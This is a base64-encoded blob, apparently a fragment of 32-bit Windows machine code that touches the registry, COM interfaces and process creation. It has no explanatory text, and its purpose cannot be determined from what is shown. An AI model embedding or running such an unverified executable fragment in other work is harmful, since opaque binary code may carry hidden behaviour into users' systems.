QkE3QM/zUAY0QA/xXQoEIAgL9MFwAAAHQyocB0RACLNfxiRACFwHUgaJibQwBolH1DAP8VsKFCAFD/FaChQgCjwHREAIXAdANW/9BqAIvP6BAyAAA9AgEAAA+FuQAAAIs1yKBCAIsdxKBCAOsHjaQkAAAAAIB/RAAPhLAAAABoyAAAAI1EJDxQ/9YzyYXAdGg4j9AAAACNRCQUiUwkFIvXD0XBjUwkOFDoN+P//4PEBFD/dCRE/3QkRP/Ti0wkFIXJdEGAv9AAAAAAdTiL1+jhAAAAgz3MdEQAAHUogH9EAHUi/zXIdEQA/xWIoEIAhcB0EsZHRAHrDGoAM9Lo4+L//4PEBGoAi8/oVzEAAD0CAQAAD4Rc////gH9EAHQQ/zXIdEQA/xWMoEIAxkdEAIC/TBcAAAB0M4uPSAcAAOhyJQAAhcB4JGgMiEMA6ODDAACDxAT/t0gHAABoAIpDAGoAagDoTaEAAIPEEP8VtKJCAOskUGggikMAagBqAOgzoQAAg8QQxwXMdEQAkf////81aHVEAP/Ti4wknBgAADPAX15bM8zoKLYAAIvlXcIEAMzMzMzMVYvsgeykDAAAoQhURAAzxYlF/MaFh/P//wBTix0koEIAVleL+oH5ABAAAA+CCQEAAIM9sHREAACxAYiNh/P//w+FTgEAAI2FaPP//8eFYPP//wAAAABQaBkAAgBqAGjAikMAaAIAAIDHhWzz//8ABAAA/xUooEIAhcAPhbAAAACNhWzz//9QjYXo8///UI2FYPP//1BqAGgEi0MA/7Vo8////xUwoEIAhcAPhYAAAACLhWzz//+FwHR2A8A9AAgAAA+DowoAADPJZomMBejz//+Nhejz//9Q/xWsoUIAo7B0RACFwHRJizWgoUIAaCSLQwBQ/9ZoNItDAP81sHREAKO4dEQA/9ZoSItDAP81sHREAKOcdEQA/9ZonIpDAP81sHREAKOodEQA/9ajlHREAP+1aPP////T61SDPaB0RAAAdUtoWIpDAP8VrKFCAKOgdEQAhcB0N4s1oKFCAGhwikMAUP/WaISKQwD/NaB0RACjpHREAP/WaJyKQwD/NaB0RACjrHREAP/Wo5h0RACKjYfz///HhXzz//8AAAAAx4Vc8///BAEAAITJD4V5AgAAoaR0RACFwA+EbAIAAI2NcPP//8eFcPP//wAAAABRaMiGQwBouIZDAP/QhcAPhR0CAACLHXCgQgCNcAXrA41JAIuFcPP//42VdPP//1L/NfxiRADHhXTz//8AAAAAiwhQ/1EYhcAPhbsBAACJhYDz//+NlWTz//+JhWTz//+LhXTz//9SjZWA8///UosIagFQ/1EMhcAPhRYBAACLjYDz//8z9oXJD4ToAAAAjZV48///ibV48///iwFSaDSYQwBR/xCFwA+FoAAAAIuFePP//42VXPP//1KNlfD9//9SiwhQ/1EMhcB1SouFePP//42VfPP//1JooPpCAGiohkMAiwhQ/1EkhcB0RD0EFxOAdRGAv0IHAAAAdDRQaGiLQwDrIIC/QgcAAAB0I1BoEIxDAOsPgL9CBwAAAHQSUGhojEMAagBqAOgGngAAg8QQi4V48///UIsI/1EIi4WA8///UIsI/1EI6ZoAAACAv0IHAAAAdBJQaMiMQwBqAGoA6M6dAACDxBCLhYDz//9Qiwj/UQjrcYC/QgcAAAB0aGoAaDiNQwBqAGoA6KSdAACDxBDrU4P4AXUrgL9CBwAAAHQY/7WA8///UGigjUMAagBqAOh8nQAAg8QUaMgAAAD/007rI4C/QgcAAAB0GP+1gPP//1BoEI5DAGoAagDoUZ0AAIPEFDP2i4V08///UIsI/1EIhfYPjyj+//+LhXDz//9Qiwj/UQjrRIC/QgcAAAB0ElBocI5DAGoAagDoEp0AAIPEEIuFcPP//1CLCP9RCOsbgL9CBwAAAHQSUGjYjkMAagBqAOjpnAAAg8QQg7188///AA+F9AIAAOsNvgJAAICEyQ+F8wAAAKGsdEQAhcAPhMIAAACDPZh0RAAAD4S1AAAAjY1c8///UWgEAQAAjY3w/f//Uf81/GJEAP/Qi/CF9nVEjYV88///UI2F8P3//1BqA/8VmHREAIvwhfYPhH0CAACAv0IHAAAAD4RwAgAAVmhAj0MAagBqAOhTnAAAg8QQ6VkCAACB/lcAB4B1JIC/QgcAAAAPhEQCAABWaKCPQwBqAGoA6CecAACDxBDpLQIAAIC/QgcAAAAPhCACAABWaCiQQwBqAGoA6AOcAACDxBDpCQIAAIC/QgcAAAB0EWhskEMAagBqAOjkmwAAg8QMvgJAAIDp5QEAAKG4dEQAhcAPhCEGAACDPZx0RAAAD4QUBgAAgz2odEQAAA+EBwYAAIM9lHREAAAPhPoFAACNjXTz///HhYDz//8AAAAAUY2NePP//8eFePP//wAAAABRjY2A8///x4V08///AAAAAFH/Nch0RAD/0IvwhfYPhWwBAAA5hXTz//8PhkgBAACJhWTz//+NhWTz//9QaAQBAACNhfD9//9Qi4V48////zD/Nch0RAD/Fah0RACL8IX2D4URAQAAjYV88///UI2F8P3//1D/FZR0RACL8IX2D4WmAAAAiYVg8///jYVs8///UGgZAAIAVmikkEMAaAIAAIDHhWjz//8EAQAA/xUooEIAhcAPhb4AAACNhWjz//9QjYXo+///UI2FYPP//1BWaOSQQwD/tWzz////FTCgQgCFwHU8OYVo8///djRo9JBDAI2F8P3//2gEAQAAUOgp1AAAg8QMjYXo+///UI2F8P3//2gEAQAAUOii0wAAg8QM/7Vs8////9PrTYH+PBwTgHURgL9CBwAAAHQ8Vmj4kEMA6yiB/ksTE4B1EYC/QgcAAAB0I1ZouJFDAOsPgL9CBwAAAHQSVmh4kkMAagBqAOgNmgAAg8QQ/7V08////7V48////7WA8////xWcdEQAg7188///AA+EPAQAAIuFfPP//1CLCP9RDIvwhfYPhf8DAABqFMaFhvP//wHovrkAAIvYg8QEhdt0JlZWVlbHAzh8QwDHQwTAfEMAx0MMAQAAAP8VuKFCAIlDEIl7COsCM9uLhXzz//9TUIsI/1EUi/CF9g+FYwMAAGow6G+5AACDxASFwHQSV4vI6GPu//+L0ImFcPP//+sIM9KJlXDz//+LhXzz//9SUIsI/1EYi/CF9g+F7QIAAImFgPP//42VgPP//4uFfPP//1JW/zXIdEQAiwhQ/1EggH9EAIvwdDWB/i4TE4B1Lf81yHREAP8VjKBCAIuFfPP//42VgPP//1JqAMZHRAD/Nch0RACLCFD/USCL8IX2D4UbAgAA/7WA8///i41w8///xkdFAehQz///gL2H8///AI2F8P3//1B0B2jwkkMA6wVoJJNDAGoAagDom5gAAIPEEIB/RAB1FP81yHREAP8ViKBCAIXAdATGR0QBagCLz+glKAAAPQIBAAAPhbgAAACAf0QAdEloyAAAAI2FiPP//1D/FcigQgBqAIXAdCWL142NiPP//+hv2f//g8QEUP+1kPP///+1jPP///8VxKBCAO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